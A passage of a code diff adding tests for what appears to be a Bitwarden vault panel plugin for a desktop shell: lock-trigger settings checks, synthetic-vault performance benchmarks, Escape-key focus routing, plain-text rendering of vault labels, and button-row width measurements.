check(`${k} appears in the settings screen`, keys.includes(k), keys.join(", "))
|
||||
const entry = Model.groupedSettings().find(e => e.key === k)
|
||||
check(`${k} is a toggle in the Security group`,
|
||||
entry.type === "bool" && entry.group === "security", JSON.stringify(entry))
|
||||
}
|
||||
|
||||
// The manifest is what the shell reads defaults from, so the two have to agree.
|
||||
const manifest = JSON.parse(fs.readFileSync(path.join(__dirname, "..", "manifest.json"), "utf8"))
|
||||
for (const k of ["lockOnScreenLock", "lockOnSuspend"]) {
|
||||
check(`${k} has a manifest default`,
|
||||
manifest.barWidget.defaults[k] === true, JSON.stringify(manifest.barWidget.defaults[k]))
|
||||
check(`${k} has a manifest schema entry`,
|
||||
manifest.barWidget.schema.some(e => e.key === k && e.type === "boolean"), k)
|
||||
}
|
||||
|
||||
// -------------------------------------------------------------------------
|
||||
|
||||
if (failures.length) {
|
||||
console.error(`\n${failures.length} failure(s):\n`)
|
||||
for (const f of failures) console.error(` ${f}\n`)
|
||||
process.exit(1)
|
||||
}
|
||||
console.log(`lock-triggers.test.js: ${pass} checks passed`)
|
||||
@@ -0,0 +1,164 @@
|
||||
#!/usr/bin/env node
|
||||
// Deterministic synthetic-vault performance guardrails. These measure the
|
||||
// work the plugin owns after `bw list items` returns; they never read a real
|
||||
// vault or make a network request.
|
||||
//
|
||||
// node tests/performance.test.js
|
||||
|
||||
|
||||
const fs = require("fs")
|
||||
const path = require("path")
|
||||
|
||||
const Model = {}
|
||||
new Function("exports", fs.readFileSync(path.join(__dirname, "..", "BitwardenModel.js"), "utf8")
|
||||
.replace(/^\.pragma library\s*$/m, "") + `
|
||||
exports.parseItems = parseItems
|
||||
exports.filterItems = filterItems
|
||||
exports.findContextualMatches = findContextualMatches
|
||||
`)(Model)
|
||||
|
||||
const MIB = 1024 * 1024
|
||||
const tiers = [
|
||||
{ name: "small", items: 100, bytes: Math.round(0.25 * MIB), folders: 10, orgs: 1,
|
||||
parseP95Ms: 75, filterP95Ms: 50, contextP95Ms: 75 },
|
||||
{ name: "typical", items: 500, bytes: 1 * MIB, folders: 50, orgs: 3,
|
||||
parseP95Ms: 100, filterP95Ms: 75, contextP95Ms: 100 },
|
||||
{ name: "large", items: 2000, bytes: 5 * MIB, folders: 200, orgs: 10,
|
||||
parseP95Ms: 175, filterP95Ms: 100, contextP95Ms: 150 },
|
||||
{ name: "stress", items: 5000, bytes: 14 * MIB, folders: 500, orgs: 25,
|
||||
parseP95Ms: 300, filterP95Ms: 150, contextP95Ms: 250 }
|
||||
]
|
||||
|
||||
let pass = 0
|
||||
const failures = []
|
||||
const check = (label, ok, detail) => ok ? pass++ : failures.push(`${label}\n ${detail}`)
|
||||
|
||||
function fakeItem(index, tier) {
|
||||
const ordinal = String(index).padStart(5, "0")
|
||||
const kind = index % 10
|
||||
const item = {
|
||||
object: "item",
|
||||
id: `00000000-0000-4000-8000-${String(index).padStart(12, "0")}`,
|
||||
organizationId: index % 4 === 0 ? null : `org-${index % tier.orgs}`,
|
||||
folderId: `folder-${index % tier.folders}`,
|
||||
type: kind < 7 ? 1 : kind === 7 ? 2 : kind === 8 ? 3 : 4,
|
||||
name: `Service ${ordinal}`,
|
||||
notes: `Synthetic fixture note ${ordinal}`,
|
||||
favorite: index % 17 === 0,
|
||||
fields: [{ name: "fixture-field", value: `value-${ordinal}`, type: index % 2 }],
|
||||
attachments: index % 23 === 0
|
||||
? [{ id: `attachment-${index}`, fileName: `fixture-${ordinal}.txt`, size: "1024" }]
|
||||
: []
|
||||
}
|
||||
|
||||
if (item.type === 1) {
|
||||
item.login = {
|
||||
username: `user-${ordinal}@example.test`,
|
||||
password: `not-a-real-password-${ordinal}`,
|
||||
totp: index % 11 === 0 ? "JBSWY3DPEHPK3PXP" : null,
|
||||
uris: [{ match: null, uri: `https://service-${index % 80}.example.test/login/${ordinal}` }]
|
||||
}
|
||||
} else if (item.type === 3) {
|
||||
item.card = {
|
||||
cardholderName: "Fixture Person", brand: "Visa", number: "4111111111111111",
|
||||
expMonth: "04", expYear: "2030", code: "123"
|
||||
}
|
||||
} else if (item.type === 4) {
|
||||
item.identity = {
|
||||
firstName: "Fixture", lastName: ordinal, email: `identity-${ordinal}@example.test`,
|
||||
phone: "5550100", address1: "1 Fixture Road", city: "Testville",
|
||||
state: "TS", postalCode: "00000", country: "US"
|
||||
}
|
||||
}
|
||||
return item
|
||||
}
|
||||
|
||||
function buildFixture(tier) {
|
||||
const items = []
|
||||
for (let i = 0; i < tier.items; i++) items.push(fakeItem(i, tier))
|
||||
|
||||
// Spread deterministic padding across the entries so parseItems still does
|
||||
// realistic per-item work instead of parsing one giant outlier note.
|
||||
let raw = JSON.stringify(items)
|
||||
const remaining = tier.bytes - Buffer.byteLength(raw)
|
||||
if (remaining > 0) {
|
||||
const paddingPerItem = Math.floor(remaining / tier.items)
|
||||
const tail = remaining % tier.items
|
||||
for (let i = 0; i < items.length; i++) {
|
||||
items[i].notes += "x".repeat(paddingPerItem + (i < tail ? 1 : 0))
|
||||
}
|
||||
raw = JSON.stringify(items)
|
||||
}
|
||||
return raw
|
||||
}
|
||||
|
||||
function timed(fn) {
|
||||
const start = process.hrtime.bigint()
|
||||
const value = fn()
|
||||
return { value, ms: Number(process.hrtime.bigint() - start) / 1e6 }
|
||||
}
|
||||
|
||||
function p95(values) {
|
||||
const sorted = values.slice().sort((a, b) => a - b)
|
||||
return sorted[Math.ceil(sorted.length * 0.95) - 1]
|
||||
}
|
||||
|
||||
const results = []
|
||||
for (const tier of tiers) {
|
||||
const raw = buildFixture(tier)
|
||||
const actualBytes = Buffer.byteLength(raw)
|
||||
check(`${tier.name}: fixture item count`, JSON.parse(raw).length === tier.items,
|
||||
`expected ${tier.items}`)
|
||||
check(`${tier.name}: fixture payload size`,
|
||||
actualBytes >= tier.bytes && actualBytes <= tier.bytes + tier.items * 2,
|
||||
`expected approximately ${tier.bytes} bytes, got ${actualBytes}`)
|
||||
|
||||
// Warm V8 before collecting the samples so the guard measures steady-state
|
||||
// panel work rather than Node's compilation of the test itself.
|
||||
let parsed = Model.parseItems(raw)
|
||||
Model.filterItems(parsed, "service 0004", "all", "all", "all")
|
||||
Model.findContextualMatches(parsed,
|
||||
{ class: "firefox", title: "Service 42 - Mozilla Firefox" }, {})
|
||||
|
||||
const parseSamples = []
|
||||
const filterSamples = []
|
||||
const contextSamples = []
|
||||
for (let sample = 0; sample < 20; sample++) {
|
||||
const parseRun = timed(() => Model.parseItems(raw))
|
||||
parsed = parseRun.value
|
||||
parseSamples.push(parseRun.ms)
|
||||
filterSamples.push(timed(() => Model.filterItems(parsed,
|
||||
sample % 2 ? "service 0042" : "user-0004", "all", "all", "all")).ms)
|
||||
contextSamples.push(timed(() => Model.findContextualMatches(parsed,
|
||||
{ class: "firefox", title: "Service 42 login - Mozilla Firefox" }, {})).ms)
|
||||
}
|
||||
|
||||
const row = {
|
||||
tier: tier.name,
|
||||
items: tier.items,
|
||||
mib: actualBytes / MIB,
|
||||
parse: p95(parseSamples),
|
||||
filter: p95(filterSamples),
|
||||
context: p95(contextSamples)
|
||||
}
|
||||
results.push(row)
|
||||
check(`${tier.name}: parse p95`, row.parse <= tier.parseP95Ms,
|
||||
`${row.parse.toFixed(2)}ms > ${tier.parseP95Ms}ms`)
|
||||
check(`${tier.name}: filter p95`, row.filter <= tier.filterP95Ms,
|
||||
`${row.filter.toFixed(2)}ms > ${tier.filterP95Ms}ms`)
|
||||
check(`${tier.name}: contextual match p95`, row.context <= tier.contextP95Ms,
|
||||
`${row.context.toFixed(2)}ms > ${tier.contextP95Ms}ms`)
|
||||
}
|
||||
|
||||
console.log("tier items MiB parse p95 filter p95 context p95")
|
||||
for (const row of results) {
|
||||
console.log(`${row.tier.padEnd(8)} ${String(row.items).padStart(5)} ${row.mib.toFixed(2).padStart(5)}`
|
||||
+ ` ${(row.parse.toFixed(2) + "ms").padStart(9)}`
|
||||
+ ` ${(row.filter.toFixed(2) + "ms").padStart(10)}`
|
||||
+ ` ${(row.context.toFixed(2) + "ms").padStart(11)}`)
|
||||
}
|
||||
console.log(`\n${pass} passed, ${failures.length} failed`)
|
||||
if (failures.length) {
|
||||
console.error("\nFAILURES:\n " + failures.join("\n "))
|
||||
process.exit(1)
|
||||
}
|
||||
@@ -0,0 +1,163 @@
|
||||
// Escape must cancel out of a form, and the panel's key wiring makes that
|
||||
// non-obvious enough to be worth pinning down. Two separate traps live here.
|
||||
//
|
||||
// 1. PanelKeyCatcher goes `blocked` on every screen built around a text field
|
||||
// -- the item form, PIN, fingerprint, the Send composer -- and a blocked
|
||||
// catcher drops ALL keys, Escape included. So Escape is dispatched from the
|
||||
// shortcut interceptor, which the catcher reaches through Keys.forwardTo
|
||||
// before its own handler and regardless of `blocked`.
|
||||
//
|
||||
// 2. Qt does NOT clear active focus when an item is hidden. The search field
|
||||
// keeps focus behind the item form, and its own Keys.onEscapePressed used
|
||||
// to fire from back there and close the whole panel. Two things stop that:
|
||||
// the handler ignores Escape unless the search box is the current screen,
|
||||
// and focus is re-homed whenever the screen changes.
|
||||
//
|
||||
// Needs Qt, which any machine running the plugin already has:
|
||||
//
|
||||
// QT_QPA_PLATFORM=offscreen qmltestrunner -input tests/qml
|
||||
//
|
||||
import QtQuick
|
||||
import QtQuick.Controls
|
||||
import QtTest
|
||||
// Namespaced so the kit's own TextField (which needs the shell's import path)
|
||||
// does not shadow the plain QtQuick.Controls one used below.
|
||||
import "file:/usr/share/omarchy/shell/Ui" as OmarchyUi
|
||||
|
||||
TestCase {
|
||||
id: tc
|
||||
name: "EscapeRouting"
|
||||
when: windowShown
|
||||
width: 300; height: 200
|
||||
visible: true
|
||||
|
||||
property string screenName: "main"
|
||||
property int interceptorEscapes: 0
|
||||
property int catcherCloses: 0
|
||||
property int panelCloses: 0
|
||||
property string trail: ""
|
||||
|
||||
// Stands in for Panel.qml's handleEscape().
|
||||
function handleEscape() {
|
||||
tc.interceptorEscapes++
|
||||
tc.trail += "dispatch(" + tc.screenName + ") "
|
||||
if (tc.screenName === "edit") tc.screenName = "main"
|
||||
else tc.panelCloses++
|
||||
}
|
||||
|
||||
onScreenNameChanged: restoreScreenFocus()
|
||||
|
||||
function restoreScreenFocus() {
|
||||
if (tc.screenName === "main") searchField.forceActiveFocus()
|
||||
else if (tc.screenName === "edit") formField.forceActiveFocus()
|
||||
}
|
||||
|
||||
// Stands in for Panel.qml's shortcutInterceptor.
|
||||
Item {
|
||||
id: interceptor
|
||||
Keys.onPressed: function(event) {
|
||||
if (event.key === Qt.Key_Escape && !(event.modifiers & ~Qt.KeypadModifier)) {
|
||||
tc.handleEscape()
|
||||
event.accepted = true
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
OmarchyUi.PanelKeyCatcher {
|
||||
id: catcher
|
||||
anchors.fill: parent
|
||||
Keys.forwardTo: [interceptor]
|
||||
blocked: searchField.activeFocus || tc.screenName === "edit"
|
||||
onCloseRequested: tc.catcherCloses++
|
||||
|
||||
Column {
|
||||
anchors.fill: parent
|
||||
|
||||
Column {
|
||||
visible: tc.screenName === "main"
|
||||
TextField {
|
||||
id: searchField
|
||||
Keys.onEscapePressed: function(event) {
|
||||
tc.trail += "searchField "
|
||||
if (tc.screenName !== "main") { event.accepted = false; return }
|
||||
if (text) text = ""
|
||||
else tc.panelCloses++
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
Column {
|
||||
visible: tc.screenName === "edit"
|
||||
TextField { id: formField }
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
function init() {
|
||||
tc.interceptorEscapes = 0
|
||||
tc.catcherCloses = 0
|
||||
tc.panelCloses = 0
|
||||
tc.trail = ""
|
||||
}
|
||||
|
||||
// The bug behind "Escape does nothing on the item form": on that screen the
|
||||
// catcher is blocked and a field holds focus.
|
||||
function test_1_escape_survives_a_blocked_catcher() {
|
||||
tc.screenName = "edit"
|
||||
formField.forceActiveFocus()
|
||||
verify(formField.activeFocus, "the form field should hold focus")
|
||||
keyClick(Qt.Key_Escape)
|
||||
compare(tc.interceptorEscapes, 1, "Escape must reach the dispatch through a blocked catcher")
|
||||
compare(tc.catcherCloses, 0, "a blocked catcher never fires closeRequested -- that was the bug")
|
||||
compare(tc.panelCloses, 0, "and it must not close the panel")
|
||||
}
|
||||
|
||||
// The bug behind "Escape closes the whole panel": hiding the main screen
|
||||
// does not take focus off the search box, so it kept answering Escape.
|
||||
function test_2_hidden_search_field_does_not_answer_escape() {
|
||||
tc.screenName = "edit"
|
||||
wait(0)
|
||||
// Force the stale-owner state directly: focus the hidden search field
|
||||
// while the form is showing. Re-homing normally prevents this, so this
|
||||
// isolates the handler's own guard rather than leaning on that.
|
||||
searchField.forceActiveFocus()
|
||||
verify(searchField.activeFocus, "the hidden search field holds focus")
|
||||
verify(!searchField.visible, "and it is hidden behind the form")
|
||||
|
||||
keyClick(Qt.Key_Escape)
|
||||
compare(tc.panelCloses, 0, "a hidden search field must not close the panel: " + tc.trail)
|
||||
compare(tc.screenName, "main", "Escape should cancel the edit instead")
|
||||
}
|
||||
|
||||
// Re-homing focus on a screen change is what stops the stale owner
|
||||
// accumulating in the first place.
|
||||
function test_3_focus_follows_the_screen() {
|
||||
tc.screenName = "main"
|
||||
searchField.forceActiveFocus()
|
||||
tc.screenName = "edit"
|
||||
wait(0)
|
||||
verify(formField.activeFocus, "the form field should take focus when the form opens")
|
||||
verify(!searchField.activeFocus, "the hidden search field should not still hold it")
|
||||
}
|
||||
|
||||
// Blocking exists so letters are typed rather than read as shortcuts;
|
||||
// intercepting Escape must not cost that.
|
||||
function test_4_typing_still_reaches_the_field() {
|
||||
tc.screenName = "edit"
|
||||
formField.text = ""
|
||||
formField.forceActiveFocus()
|
||||
keyClick(Qt.Key_J)
|
||||
compare(formField.text, "j", "letters must still land in the field")
|
||||
compare(tc.interceptorEscapes, 0, "no stray Escape")
|
||||
}
|
||||
|
||||
// On unblocked screens both handlers are live; the interceptor accepting the
|
||||
// event is what keeps the dispatch from running twice.
|
||||
function test_5_escape_is_dispatched_once_when_unblocked() {
|
||||
tc.screenName = "settings"
|
||||
catcher.forceActiveFocus()
|
||||
keyClick(Qt.Key_Escape)
|
||||
compare(tc.interceptorEscapes, 1, "interceptor handles Escape")
|
||||
compare(tc.catcherCloses, 0, "catcher must not fire once the interceptor accepted")
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,56 @@
|
||||
// A Text left on its default textFormat sniffs its own string and renders it
|
||||
// as HTML the moment it looks like markup. That is a real hazard in a panel
|
||||
// whose strings come out of a vault, and it is invisible in code review --
|
||||
// nothing in the QML says "HTML". So it is pinned here against Qt itself
|
||||
// rather than against our reading of the docs.
|
||||
//
|
||||
// Rendering is observed through contentWidth: markup that Qt parsed is markup
|
||||
// Qt did not draw, so the parsed line is narrower than the literal one.
|
||||
//
|
||||
// QT_QPA_PLATFORM=offscreen qmltestrunner -input tests/qml
|
||||
//
|
||||
import QtQuick
|
||||
import QtTest
|
||||
import "../../BitwardenModel.js" as Model
|
||||
|
||||
TestCase {
|
||||
id: tc
|
||||
name: "RichText"
|
||||
when: windowShown
|
||||
|
||||
// A vault value crafted to be read as markup. The tags are what an attacker
|
||||
// controls; the visible text is what the user is entitled to see.
|
||||
readonly property string vaultName: "<b>Work</b> & Home"
|
||||
|
||||
// Default textFormat -- Text.AutoText -- exactly as the shared kit controls
|
||||
// render the labels we hand them.
|
||||
Text { id: sniffing; font.pixelSize: 14 }
|
||||
|
||||
// What the plugin's own Text elements now declare.
|
||||
Text { id: literal; textFormat: Text.PlainText; font.pixelSize: 14 }
|
||||
|
||||
function test_auto_text_swallows_markup_in_a_vault_value() {
|
||||
literal.text = tc.vaultName
|
||||
sniffing.text = tc.vaultName
|
||||
verify(sniffing.contentWidth > 0)
|
||||
verify(sniffing.contentWidth < literal.contentWidth - 1)
|
||||
}
|
||||
|
||||
function test_plain_text_draws_the_value_the_vault_holds() {
|
||||
literal.text = tc.vaultName
|
||||
compare(literal.textFormat, Text.PlainText)
|
||||
verify(literal.contentWidth > 0)
|
||||
}
|
||||
|
||||
function test_plainLabel_restores_the_literal_value_for_a_sniffing_control() {
|
||||
literal.text = tc.vaultName
|
||||
sniffing.text = Model.plainLabel(tc.vaultName)
|
||||
// Same glyphs, so the same width: nothing was parsed away and no entity
|
||||
// leaked through as "&".
|
||||
fuzzyCompare(sniffing.contentWidth, literal.contentWidth, 2.0)
|
||||
}
|
||||
|
||||
function test_plainLabel_leaves_an_ordinary_name_alone() {
|
||||
compare(Model.plainLabel("Work"), "Work")
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,477 @@
|
||||
// A row of buttons must fit the panel it is drawn in.
|
||||
//
|
||||
// QtQuick's Row is a positioner, not a layout: it cannot shrink a child and it
|
||||
// cannot start a second line. Anything wider than the panel is simply laid out
|
||||
// past the right edge, and the control that lands there is gone -- not clipped
|
||||
// with a scrollbar, not wrapped, just off the panel with no way to reach it.
|
||||
//
|
||||
// That is how "Suggested here" cost the detail view its Delete button. The
|
||||
// header holds four buttons only when the active window matched a login, and
|
||||
// the pinned label is one character wider than the unpinned one -- so the row
|
||||
// fit at 441px until the moment you clicked, and 454.5px after. Nothing in the
|
||||
// panel said so; the button was just missing.
|
||||
//
|
||||
// So this measures. It reads the panel's own QML, finds every Row of buttons,
|
||||
// rebuilds each label with the real font, and adds up what the kit will make
|
||||
// of them. A Row that does not fit fails here instead of in a screenshot.
|
||||
//
|
||||
// Rows declared as Flow or RowLayout are reported but not failed: those two
|
||||
// CAN wrap or shrink, which is the fix this test exists to push people toward.
|
||||
//
|
||||
// Needs the QML sources readable from QML, which Qt gates behind an env var:
|
||||
//
|
||||
// QML_XHR_ALLOW_FILE_READ=1 QT_QPA_PLATFORM=offscreen \
|
||||
// /usr/lib/qt6/bin/qmltestrunner -input tests/qml
|
||||
//
|
||||
import QtQuick
|
||||
import QtTest
|
||||
|
||||
TestCase {
|
||||
id: tc
|
||||
name: "RowWidths"
|
||||
when: windowShown
|
||||
width: 600; height: 200
|
||||
visible: true
|
||||
|
||||
// ---------------------------------------------------------------- budgets
|
||||
//
|
||||
// Panel.qml draws into `fittedContentWidth(Style.space(450))`. Rows inside a
|
||||
// Flickable lose `scrollGutter` (Style.space(10)) on top of that, and rather
|
||||
// than track which rows are and are not inside one, every panel row is held
|
||||
// to the narrower 440. The SSH prompt is its own card: Style.space(460) less
|
||||
// panelPadding (18) and the card border (2) on each side.
|
||||
//
|
||||
// These are the sizes at the default [font] base-size of 12. A theme scales
|
||||
// fonts and spacing by the same factor -- Style.space() multiplies by
|
||||
// fontScale too -- so the ratio this test pins holds at any base size.
|
||||
readonly property int panelBudget: 440
|
||||
readonly property int popupBudget: 420
|
||||
|
||||
// ------------------------------------------------------- the kit's Button
|
||||
//
|
||||
// qs.Ui.Button cannot be instantiated here: it imports qs.Commons, which
|
||||
// imports Quickshell, whose plugin only loads inside the quickshell runtime.
|
||||
// So its geometry is restated, from Ui/Button.qml:
|
||||
//
|
||||
// implicitWidth: row.implicitWidth + horizontalPadding * 2
|
||||
// + _reservedBorderLeft + _reservedBorderRight
|
||||
//
|
||||
// where the inner row is `icon + Style.spacing.controlGap + label`, the
|
||||
// padding is Style.spacing.controlPaddingX, and the reserved border is the
|
||||
// widest any state can paint (1px a side at the default border width).
|
||||
// `verify_button_geometry_is_still_the_kits` below fails if that changes.
|
||||
readonly property int controlGap: 8
|
||||
readonly property int controlPaddingX: 10
|
||||
readonly property int reservedBorder: 2
|
||||
|
||||
// Style.font tokens at base-size 12: caption .833, body-small .917, body 1.0,
|
||||
// and `icon` defaults to `title` (1.167).
|
||||
readonly property var fontPx: ({
|
||||
"Style.font.caption": 10,
|
||||
"Style.font.bodySmall": 11,
|
||||
"Style.font.body": 12
|
||||
})
|
||||
readonly property int iconPx: 14
|
||||
|
||||
TextMetrics { id: labelMetrics; font.family: "monospace" }
|
||||
TextMetrics { id: iconMetrics; font.family: "monospace"; font.pixelSize: tc.iconPx }
|
||||
|
||||
function labelWidth(text, px) {
|
||||
labelMetrics.font.pixelSize = px
|
||||
labelMetrics.text = text
|
||||
return labelMetrics.advanceWidth
|
||||
}
|
||||
|
||||
// One monospace cell at the icon size, NOT the glyph itself.
|
||||
//
|
||||
// These icons are Nerd Font private-use codepoints, which exist on a desktop
|
||||
// running the shell and not on a CI runner -- and a missing glyph measures as
|
||||
// the fallback's notdef box, so measuring them directly would quietly change
|
||||
// every total the moment this runs somewhere without the font. In a patched
|
||||
// monospace font a Nerd glyph occupies exactly one cell, so an ordinary
|
||||
// character at the same pixel size is the same width and is everywhere.
|
||||
// (Locally both measure 8.390625.)
|
||||
function iconWidth(glyph) {
|
||||
if (!glyph) return 0
|
||||
iconMetrics.text = "M"
|
||||
return iconMetrics.advanceWidth
|
||||
}
|
||||
|
||||
function buttonWidth(button) {
|
||||
var icon = iconWidth(button.icon)
|
||||
var label = button.label === "" ? 0 : labelWidth(button.label, button.fontSize)
|
||||
var gap = (icon > 0 && label > 0) ? tc.controlGap : 0
|
||||
return icon + gap + label + button.paddingX * 2 + tc.reservedBorder
|
||||
}
|
||||
|
||||
// ------------------------------------------------------------ reading QML
|
||||
function readFile(relativePath) {
|
||||
var xhr = new XMLHttpRequest()
|
||||
xhr.open("GET", Qt.resolvedUrl("../../" + relativePath), false)
|
||||
xhr.send()
|
||||
return xhr.responseText || ""
|
||||
}
|
||||
|
||||
// Every string literal in a binding, longest first. A label is often a
|
||||
// conditional -- `root.sendMode === "create" ? "Back to Sends" : "Back"` --
|
||||
// and the widest branch is the one that has to fit.
|
||||
function widestLiteral(binding) {
|
||||
var found = binding.match(/"((?:[^"\\]|\\.)*)"/g)
|
||||
if (!found) return null
|
||||
var widest = ""
|
||||
for (var i = 0; i < found.length; i++) {
|
||||
var value = found[i].slice(1, -1).replace(/\\"/g, "\"")
|
||||
if (value.length > widest.length) widest = value
|
||||
}
|
||||
return widest
|
||||
}
|
||||
|
||||
function propertyIn(body, name) {
|
||||
var m = body.match(new RegExp("^\\s*" + name + ":\\s*(.*)$", "m"))
|
||||
return m ? m[1].trim() : null
|
||||
}
|
||||
|
||||
// Direct children only. A nested Row -- the per-item action buttons inside a
|
||||
// list delegate, say -- is found and measured as a row in its own right, and
|
||||
// must not also be counted as part of its parent.
|
||||
function directChildren(body, type) {
|
||||
var out = []
|
||||
var open = new RegExp("(?:^|\\n)(\\s*)(?:" + type + ")\\s*\\{")
|
||||
var rest = body
|
||||
var depth = 0
|
||||
var lines = body.split("\n")
|
||||
var i
|
||||
for (i = 0; i < lines.length; i++) {
|
||||
var line = lines[i]
|
||||
var isChild = depth === 1 && new RegExp("^\\s*(?:" + type + ")\\s*\\{").test(line)
|
||||
if (isChild) {
|
||||
var childDepth = 0
|
||||
var collected = []
|
||||
for (var j = i; j < lines.length; j++) {
|
||||
collected.push(lines[j])
|
||||
childDepth += (lines[j].match(/\{/g) || []).length
|
||||
childDepth -= (lines[j].match(/\}/g) || []).length
|
||||
if (childDepth === 0 && j > i) break
|
||||
}
|
||||
out.push(collected.join("\n"))
|
||||
}
|
||||
depth += (line.match(/\{/g) || []).length
|
||||
depth -= (line.match(/\}/g) || []).length
|
||||
}
|
||||
return out
|
||||
}
|
||||
|
||||
// Every Row / Flow / RowLayout in a file, with the buttons directly in it.
|
||||
function rowsIn(source, file) {
|
||||
var lines = source.split("\n")
|
||||
var rows = []
|
||||
for (var i = 0; i < lines.length; i++) {
|
||||
var opener = lines[i].match(/^(\s*)(Row|Flow|RowLayout)\s*\{\s*$/)
|
||||
if (!opener) continue
|
||||
var depth = 0
|
||||
var block = []
|
||||
for (var j = i; j < lines.length; j++) {
|
||||
block.push(lines[j])
|
||||
depth += (lines[j].match(/\{/g) || []).length
|
||||
depth -= (lines[j].match(/\}/g) || []).length
|
||||
if (depth === 0 && j > i) break
|
||||
}
|
||||
var body = block.join("\n")
|
||||
var buttons = []
|
||||
var declarations = directChildren(body, "Button|VaultFilterButton")
|
||||
for (var k = 0; k < declarations.length; k++) {
|
||||
var declaration = declarations[k]
|
||||
var textBinding = propertyIn(declaration, "text")
|
||||
var label = textBinding === null ? null : widestLiteral(textBinding)
|
||||
// A label with no literal in it is vault text or a computed string.
|
||||
// Its width is not ours to know, so it is reported, never measured.
|
||||
if (label === null) { buttons.push(null); continue }
|
||||
var sizeBinding = propertyIn(declaration, "fontSize")
|
||||
var iconBinding = propertyIn(declaration, "iconText")
|
||||
var padBinding = propertyIn(declaration, "horizontalPadding")
|
||||
buttons.push({
|
||||
label: label,
|
||||
icon: iconBinding === null ? "" : (widestLiteral(iconBinding) || ""),
|
||||
fontSize: (sizeBinding && tc.fontPx[sizeBinding] !== undefined)
|
||||
? tc.fontPx[sizeBinding] : tc.fontPx["Style.font.body"],
|
||||
paddingX: padBinding === null ? tc.controlPaddingX : tc.controlPaddingX
|
||||
})
|
||||
}
|
||||
var spacingBinding = propertyIn(body, "spacing")
|
||||
var spacingMatch = spacingBinding ? spacingBinding.match(/Style\.space\((\d+)\)/) : null
|
||||
rows.push({
|
||||
file: file,
|
||||
line: i + 1,
|
||||
kind: opener[2],
|
||||
spacing: spacingMatch ? parseInt(spacingMatch[1], 10) : 0,
|
||||
buttons: buttons
|
||||
})
|
||||
i = j
|
||||
}
|
||||
return rows
|
||||
}
|
||||
|
||||
function measure(row) {
|
||||
var total = 0
|
||||
for (var i = 0; i < row.buttons.length; i++) {
|
||||
if (row.buttons[i] === null) return -1
|
||||
total += buttonWidth(row.buttons[i])
|
||||
}
|
||||
return total + row.spacing * Math.max(0, row.buttons.length - 1)
|
||||
}
|
||||
|
||||
// ------------------------------------------------------------------ tests
|
||||
readonly property var sources: [
|
||||
{ file: "Panel.qml", budget: panelBudget },
|
||||
{ file: "SshAgentSettings.qml", budget: panelBudget },
|
||||
{ file: "SshApprovalScreen.qml", budget: popupBudget },
|
||||
{ file: "SshUnlockScreen.qml", budget: popupBudget }
|
||||
]
|
||||
|
||||
// Every budget here is a pixel count, and pixel counts only mean anything
|
||||
// while the font puts every character in the same width of cell. If this
|
||||
// machine resolves `monospace` to something proportional, the numbers below
|
||||
// are measuring a different panel than the one that ships -- say so rather
|
||||
// than report a pass or a failure that was never about the layout.
|
||||
function test_the_font_is_monospaced() {
|
||||
var narrow = labelWidth("iiiiiiiiii", 11)
|
||||
var wide = labelWidth("MMMMMMMMMM", 11)
|
||||
verify(narrow > 0 && Math.abs(narrow - wide) < 0.01,
|
||||
"`monospace` resolved to a proportional font here (i=" + narrow
|
||||
+ ", M=" + wide + "), so these width budgets do not describe the panel")
|
||||
}
|
||||
|
||||
function test_the_sources_are_readable() {
|
||||
// Without QML_XHR_ALLOW_FILE_READ every parse silently finds nothing, and
|
||||
// a test that measures nothing passes. Fail loudly instead.
|
||||
for (var i = 0; i < sources.length; i++) {
|
||||
var body = readFile(sources[i].file)
|
||||
verify(body.length > 0,
|
||||
sources[i].file + " read back empty -- set QML_XHR_ALLOW_FILE_READ=1")
|
||||
}
|
||||
}
|
||||
|
||||
function test_every_row_of_buttons_fits_its_panel() {
|
||||
var offenders = []
|
||||
var measured = 0
|
||||
for (var i = 0; i < sources.length; i++) {
|
||||
var rows = rowsIn(readFile(sources[i].file), sources[i].file)
|
||||
for (var j = 0; j < rows.length; j++) {
|
||||
var row = rows[j]
|
||||
if (row.buttons.length < 2) continue
|
||||
var total = measure(row)
|
||||
if (total < 0) continue
|
||||
measured++
|
||||
// Flow wraps and RowLayout shrinks; neither can push a button off the
|
||||
// panel, so neither is held to the single-line budget.
|
||||
if (row.kind !== "Row") continue
|
||||
if (total > sources[i].budget) {
|
||||
offenders.push(row.file + ":" + row.line + " (" + row.buttons.length
|
||||
+ " buttons) needs " + total.toFixed(1)
|
||||
+ "px, panel gives " + sources[i].budget + "px")
|
||||
}
|
||||
}
|
||||
}
|
||||
verify(measured >= 12, "only measured " + measured + " rows -- the parser stopped seeing them")
|
||||
// Every button is counted, including ones a `visible:` binding makes
|
||||
// mutually exclusive -- the parser cannot evaluate those, and a row whose
|
||||
// contents depend on runtime state is exactly the row that should wrap
|
||||
// rather than be trusted to a hand-checked worst case. The remedy either
|
||||
// way is one word: Flow.
|
||||
verify(offenders.length === 0,
|
||||
"these Rows lay a button out past the panel edge; make them a Flow, or "
|
||||
+ "shorten the labels:\n " + offenders.join("\n "))
|
||||
}
|
||||
|
||||
// The header that started this. Pinned and unpinned are measured separately
|
||||
// because only the pinned label overflowed, which is why it survived review.
|
||||
function test_the_detail_header_fits_with_the_suggestion_button_showing() {
|
||||
var header = { spacing: 8, buttons: [
|
||||
{ label: "Back (Esc)", icon: "\u{f040d}", fontSize: 11, paddingX: 10 },
|
||||
{ label: "Suggested here", icon: "\u{f043e}", fontSize: 11, paddingX: 10 },
|
||||
{ label: "Edit", icon: "\u{f03eb}", fontSize: 11, paddingX: 10 },
|
||||
{ label: "Delete", icon: "\u{f01b4}", fontSize: 11, paddingX: 10 }
|
||||
] }
|
||||
var pinned = measure(header)
|
||||
header.buttons[1].label = "Suggest here"
|
||||
header.buttons[1].icon = "\u{f043d}"
|
||||
var unpinned = measure(header)
|
||||
verify(pinned <= panelBudget,
|
||||
"pinned header needs " + pinned.toFixed(1) + "px of " + panelBudget)
|
||||
verify(unpinned <= panelBudget,
|
||||
"unpinned header needs " + unpinned.toFixed(1) + "px of " + panelBudget)
|
||||
}
|
||||
|
||||
// The filter row names each filter as well as showing its value, because
|
||||
// three chips reading "All" say nothing about which is which. That costs
|
||||
// width, and the row is allowed to wrap to pay for it -- so what has to hold
|
||||
// is not that every combination fits one line, but these two things.
|
||||
function filterChip(name, value, glyph) {
|
||||
// Model.clipLabel(value, 20), restated.
|
||||
